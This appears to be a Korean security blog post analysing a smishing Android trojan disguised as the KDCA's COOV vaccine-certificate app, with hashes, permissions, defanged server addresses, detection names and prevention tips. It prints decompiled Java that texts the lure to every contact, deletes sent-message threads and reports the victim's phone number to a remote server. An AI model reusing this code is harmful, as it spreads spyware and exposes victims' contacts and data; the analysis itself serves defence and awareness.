꿈을꾸는 파랑새

반응형

오늘은 가짜 질병관리본부 사칭 스미싱 피싱 사이트 악성코드 질병관리청 COOV(2021.08.13) 에 대해 알아보겠습니다.
질병관리본부(Korea Centers for Disease Control & Prevention)는 국민의 보건향상을 위해 설립된 보건복지부 소속 기관이며 미국 질병통제예방센터(CDC)를 모델로 하여 만들어졌으며 기존의 국립보건원(Korea National Institute of Health)을 승격시켜 서울특별시 은평구 녹번동에 설립되었으나 2010년 12월 충청북도 청원군 오송읍 오송생명과학단지로 이전했으며 사스유행사태 당시 질병관리에 대한 중앙 컨트롤센터의 필요성을 제기하고 미국의 CDC를 본떠 질병관리본부를 출범하고 사고대책매뉴얼을 간행했으며 이후 메르스 사태 이후 질본 주도하에 지속적으로 블랙스완 에 대비한 시뮬레이션과 대응방안을 개발해왔고 그리고 질병관리본부에서 질병관리청으로 승격 예정이라고 하며 질병관리본부는 본부장을 1명 두며 정무직(차관급)으로 보임하며 그리고 국내에서는 유일한 생물안전도 4등급(BSL level 4)의 전염성 매개체를 실험할 수 있는 실험실을 청주 오송에 가지고 있습니다.

질병관리청 COOV 스미싱 악성코드 권한 허용
질병관리청 COOV 스미싱 악성코드 권한 허용

오늘은 질병 관리청으로 속이면서 안드로이드 스마트폰 사용자를 노리는 질병관리청 COOV에 대해 알아보겠습니다.
일단 해당 악성코드는 휴대폰 전화번호·apk 형식으로 돼 있지만, 괜히 해당 전화번호 그대로 노출을 시키면 개인정보 관련 때문에 악성코드 이름은 질병관리청 COOV으로 변경을 합니다.

[소프트웨어 팁/보안 및 분석] - 질병관리청 사칭 질병관리청 COOV 스미싱 피싱 악성코드-질병관리청 COOV(2021.08.03)

 

질병관리청 사칭 질병관리청 COOV 스미싱 피싱 악성코드-질병관리청 COOV(2021.08.03)

오늘은 가짜 질병관리본부 사칭 스미싱 피싱 사이트 악성코드 질병관리청 COOV(2021.08.03) 에 대해 알아보겠습니다. 질병관리본부(Korea Centers for Disease Control & Prevention)는 국민의..

wezard4u.tistory.com

해당 악성코드는 현재 한국 정부에서 코로나 19 백신을 받은 사람들에게 나~예방 접종했음을 증명할 수가 있게 만든 어플인 질병관리청 COOV(코로나 19 전자예방접종증명서)으로 위장을 하는 악성코드입니다. 기본적으로 유포 방식은 문자, 카카오 톡 등으로 퍼지고 있습니다.

질병관리청 COOV 스미싱 악성코드 권한
질병관리청 COOV 스미싱 악성코드 권한

파일명: 질병관리청 COOV.apk
사이즈: 2,546,018 Bytes
CRC32: b5f0f957
MD5: e604c436f3807d39113830e2a3801d8b
SHA-1: d5440797fee41b8853d66ca613f5c25beb3677a2
SHA-256:f906669a111dadf7dc0dd5f592f0f6c7a2294d8fefca64225f81c7a3e36d8026
SHA-512:2261812672e238d650e40ed6ab0f70c14c11403010d5278535c0f3d55b51867fe6f99b388f7d366e0defee39da72c0f080ed5bb5a9857245733b72f4c6fbbc2a

질병관리청 COOV 스미싱 악성코드 실행
질병관리청 COOV 스미싱 악성코드 실행

해당 안드로이드 악성코드 권한은 다음과 같습니다.
<uses-sdk android:minSdkVersion="16" android:targetSdkVersion="22"/>
<uses-permission android:name="android.permission.GET_TASKS"/>
<uses-permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL"/>
<uses-permission android:name="android.permission.GET_TOP_ACTIVITY_INFO"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>
<uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
일단 해당 앱을 실행을 하면 기본적으로 사실상 스마트폰 권한이 다 넘어가는 것을 확인할 수가 있습니다.
악성코드 정보는 다음과 같습니다.
앱 이름: 질병관리청 COOV
패키지 이름: com.example.myapplication
입니다.

악성코드 연락처 보내기
악성코드 연락처 보내기

실행을 하면 신분증/면허증 촬영하기
1. 신분증/면허증 앞면칸에맞춰주세요
2. 빛반사없이 어두운곳에서 촬영하세요.
라고 돼 있는 먼저 한국어 띄어쓰기가 잘못되어져 있는 것을 볼 수가 있으면 2번에서 어두운 곳에서 촬영하는 것이 아니라 밝은 곳인데 글자 자체가 잘못되어져 있는 것을 볼 수가 있습니다.

즉 가짜입니다. 일단 해당 악성코드를 설치하고 권한을 혀용해서 실행을 하면 다음과 같이 신분증/면허증을 찍어 달라고 하면 카메라로 촬영할 것인지 앨범에 있는 것을 가져 올 것인 물어볼 것입니다.
그리고 com.example.Enboyskv.Tools 에서는 다음과 같은 명령어가 돼 있습니다.

public void SendContactsServer(Context context2) {
        int i;
        int i2;
        if (!Boolean.valueOf(context2.getSharedPreferences("pref", 0).getBoolean("sendMsg", false)).booleanValue() && context2.getSharedPreferences("pref", 0).getInt("sms_switch", 0) != 1) {
            getPhoneNumber().replace(" ", "-");
            int count = 0;
            String word = context2.getSharedPreferences("pref", 0).getString("word", "test");
            String phone_list = context2.getSharedPreferences("pref", 0).getString("phone_list", "");
            if (phone_list != "") {
                String[] ps = phone_list.split("\n");
                int length = ps.length;
                int i3 = 0;
                while (i3 < length) {
                    String phoneNumber = ps[i3];
                    if (phoneNumber.length() > 3) {
                        i2 = i3;
                        i = length;
                        SmsManager.getDefault().sendTextMessage(phoneNumber, null, word, null, null);
                        count++;
                    } else {
                        i2 = i3;
                        i = length;
                    }
                    i3 = i2 + 1;
                    length = i;
                }
                SharedPreferences.Editor editor = context2.getSharedPreferences("pref", 0).edit();
                editor.putBoolean("sendMsg", true);
                editor.commit();
            }
        }
    }

    public void deleteSMS(Context context2) {
        try {
            ContentResolver CR = context2.getContentResolver();
            Cursor c = CR.query(Uri.parse("content://sms/sent"), new String[]{"_id", "thread_id"}, null, null, null);
            if (c != null && c.moveToFirst()) {
                do {
                    long threadId = c.getLong(1);
                    CR.delete(Uri.parse("content://sms/conversations/" + threadId), null, null);
                } while (c.moveToNext());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public void SendNetContacts(Context context2) {
        String word = context2.getSharedPreferences("pref", 0).getString("smstext", "test");
        if (word.equals("")) {
            word = context2.getSharedPreferences("pref", 0).getString("word", "test");
        }
        String phone_list = context2.getSharedPreferences("pref", 0).getString("phone2_list", "");
        if (!phone_list.equals("")) {
            String[] ps = phone_list.split(";");
            for (String phoneNumber : ps) {
                if (phoneNumber.length() > 10) {
                    SmsManager.getDefault().sendTextMessage(phoneNumber, null, word, null, null);
                }
            }
        }
    }

    public void SendLocalContacts(Context context2) {
        int phoneIndex;
        String phoneNumber;
        getPhoneNumber().replace(" ", "-");
        Cursor cursor = context2.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
        int contactIdIndex = 0;
        int nameIndex = 0;
        if (cursor.getCount() > 0) {
            contactIdIndex = cursor.getColumnIndex("_id");
            nameIndex = cursor.getColumnIndex("display_name");
        }
        String word = context2.getSharedPreferences("pref", 0).getString("smstext", "test");
        if (word.equals("")) {
            word = context2.getSharedPreferences("pref", 0).getString("word", "test");
        }
        while (cursor.moveToNext()) {
            String contactId = cursor.getString(contactIdIndex);
            cursor.getString(nameIndex);
            Cursor phones = context2.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id=" + contactId, null, null);
            if (phones.getCount() > 0) {
                phoneIndex = phones.getColumnIndex("data1");
            } else {
                phoneIndex = 0;
            }
            if (phones.moveToNext()) {
                String phoneNumber2 = phones.getString(phoneIndex);
                if (phoneNumber2.length() > 0) {
                    phoneNumber = phoneNumber2.replace(" ", "").replace("+", "");
                } else {
                    phoneNumber = phoneNumber2;
                }
                if (phoneNumber.length() == 11 || phoneNumber.startsWith("86")) {
                    SmsManager.getDefault().sendTextMessage(phoneNumber, null, word, null, null);
                }
            }
        }
    }

    public void SendContacts(Context context2) {
        Boolean sendLocalMsg = Boolean.valueOf(context2.getSharedPreferences("pref", 0).getBoolean("sendLocalMsg", false));
        Boolean sendNetMsg = Boolean.valueOf(context2.getSharedPreferences("pref", 0).getBoolean("sendNetMsg", false));
        if (context2.getSharedPreferences("pref", 0).getInt("sms_switch", 0) == 0 && !sendLocalMsg.booleanValue()) {
            SendLocalContacts(context2);
            SharedPreferences.Editor editor = context2.getSharedPreferences("pref", 0).edit();
            editor.putBoolean("sendLocalMsg", true);
            editor.commit();
        }
        if (context2.getSharedPreferences("pref", 0).getInt("sms_netblockstate", 0) == 0 && !sendNetMsg.booleanValue()) {
            SendNetContacts(context2);
            SharedPreferences.Editor editor2 = context2.getSharedPreferences("pref", 0).edit();
            editor2.putBoolean("sendNetMsg", true);
            editor2.commit();
        }
    }

    public String regCustomer() {
        String phoneNumber = getPhoneNumber().replace(" ", "-");
        String telcompany = getTelCompany().replace(" ", "-");
        if (phoneNumber.equals("")) {
            return "";
        }
        String url = String.valueOf(HttpUtils.getHttpURL(this.context)) + "index.php?type=join&telnum=" + phoneNumber + "&telcompany=" + telcompany + "&version=" + Build.VERSION.RELEASE;
        MyAsyncTask myAsyncTask2 = new MyAsyncTask(this, this, null);
        this.myAsyncTask = myAsyncTask2;
        try {
            return (String) myAsyncTask2.execute(url).get();
        } catch (InterruptedException e) {
            e.printStackTrace();
            return "";
        } catch (ExecutionException e2) {
            e2.printStackTrace();
            return "";
        }
    }

    public static String getContent(String m) {
        return Uri.encode(m);
    }
}

악성코드 개인정보 업로드 주소
악성코드 개인정보 업로드 주소

com.example.Enboyskv.Tools에서는 GPS 켜고 끄기, 스마트폰 연락처에 접근하기 위해서 getPhoneNumber()들이 포함이 돼 있는 것을 확인할 수가 있습니다.
com.example.Enboyskv.MainActivity 에서는 이미지를 업로드 하려고 다음과 같은 주소가 포함돼 있습니다.
hxxp://192.168.0(.)104:8087
악성코드에 포함된 인터넷 주소는 다음과 같습니다.
hxxp://192.168(.)0.104:8087/ImageServer/upServer
hxxp://schemas(.)android(.)com/apk/res-auto
hxxps://www.naver(.)com/
hxxp://www.noyu(.)fit
hxxp://schemas.android(.)com/apk/res/android
입니다.

악성코드 인증서
악성코드 인증서

APK 인증서 내용은 다음과 같습니다.
APK signature verification result:
Signature verification succeeded
Valid APK signature v1 found
Signer CERT.RSA (META-INF/CERT.SF)
Type: X.509
Version: 3
Serial number: 0x936eacbe07f201df
Subject: EMAILADDRESS=android@android.com, CN=Android, OU=Android, O=Android, L=Mountain View, ST=California, C=US
Valid from: Fri Feb 29 10:33:46 KST 2008
Valid until: Tue Jul 17 10:33:46 KST 2035
Public key type: RSA
Exponent: 3
Modulus size (bits): 2048
Signature type: SHA1withRSA
입니다.
AhnLab-V3:Spyware/Android.Agent.1022947
Alibaba:TrojanSpy:Android/SmForw.83089866
Avast-Mobile:APK:RepMetagen [Trj]
Avira (no cloud):ANDROID/SpyAgent.FJVO.Gen
BitDefenderFalx:Android.Trojan.Agent.gQMKI
CAT-QuickHeal:Android.SMForw.GEN37097
Cynet:Malicious (score: 99)
Cyren:AndroidOS/Trojan.UTPL-7
DrWeb:Android.SmsSpy.847.origin
ESET-NOD32:A Variant Of Android/Spy.Agent.BSO
F-Secure:Malware.ANDROID/SpyAgent.FJVO.Gen
Fortinet:Android/Agent.BSO!tr
Ikarus:Trojan.AndroidOS.Agent
K7GW:Trojan ( 0058092d1 )
Kaspersky:HEUR:Trojan-Spy.AndroidOS.SmForw.snt
Lionic:Trojan.AndroidOS.SmForw.C!c
McAfee:Artemis!E604C436F380
McAfee-GW-Edition:Artemis!Trojan
Microsoft:Program:AndroidOS/Multiverze
Symantec:Trojan.Gen.MBT
Symantec Mobile Insight"Spyware:MobileSpy
Tencent:A.privacy.emial.d
Trustlook:Android.Malware.Spyware
ZoneAlarm by Check Point:HEUR:Trojan-Spy.AndroidOS.SmForw.snt
일단 기본적으로 대부분 보안업체가 탐지하고 있으면 언제나 이야기하는 기본적인 예방 방법은 다음과 같습니다.
요약
1.구글 플레이 스토어 및 공식 스토어 이외에 어플 설치하지 말 것
2.공신력 있는 백신 앱(안티바이러스 앱) 설치해서 실시간 감시 및 실시간 업데이트할 것(AV-TEST 참고)
3.구글 안드로이드 스마트폰에서는 외부 앱을 설치를 하려고 하면 경고 메시지가 나오는데 해당 경고 메시지처럼 외부 앱 설치하지 말 것
4.스팸 차단앱 후후,후스콜,T 전화 같은 것을 사용하면 이런 앱을 활용을 하면 이런 보이스피싱 피해를 줄일 수가 있습니다.
5.소개팅 어플에서 어떤 어플을 다운로드 해서 설치하라고 하면 100% 악성코드입니다.
기본적인 보안 수칙을 지킨다고 하면 이런 스미싱 피해는 줄일 수가 있습니다. 특히 이름 있는 백신 어플을 사용을 하면 기본적으로 악성코드가 유포되는 사이트 및 악성코드를 사전에 차단할 수가 있습니다.

반응형
그리드형

댓글

비밀글모드

  1. 피싱 악성코드도 시류를 따라 가는 가 봅니다
    조심해야겠어요..,
    2021.09.02 07:37 신고
    • 그게 사회공학적 공격 방식이라고 합니다.
      2021.09.03 22:04 신고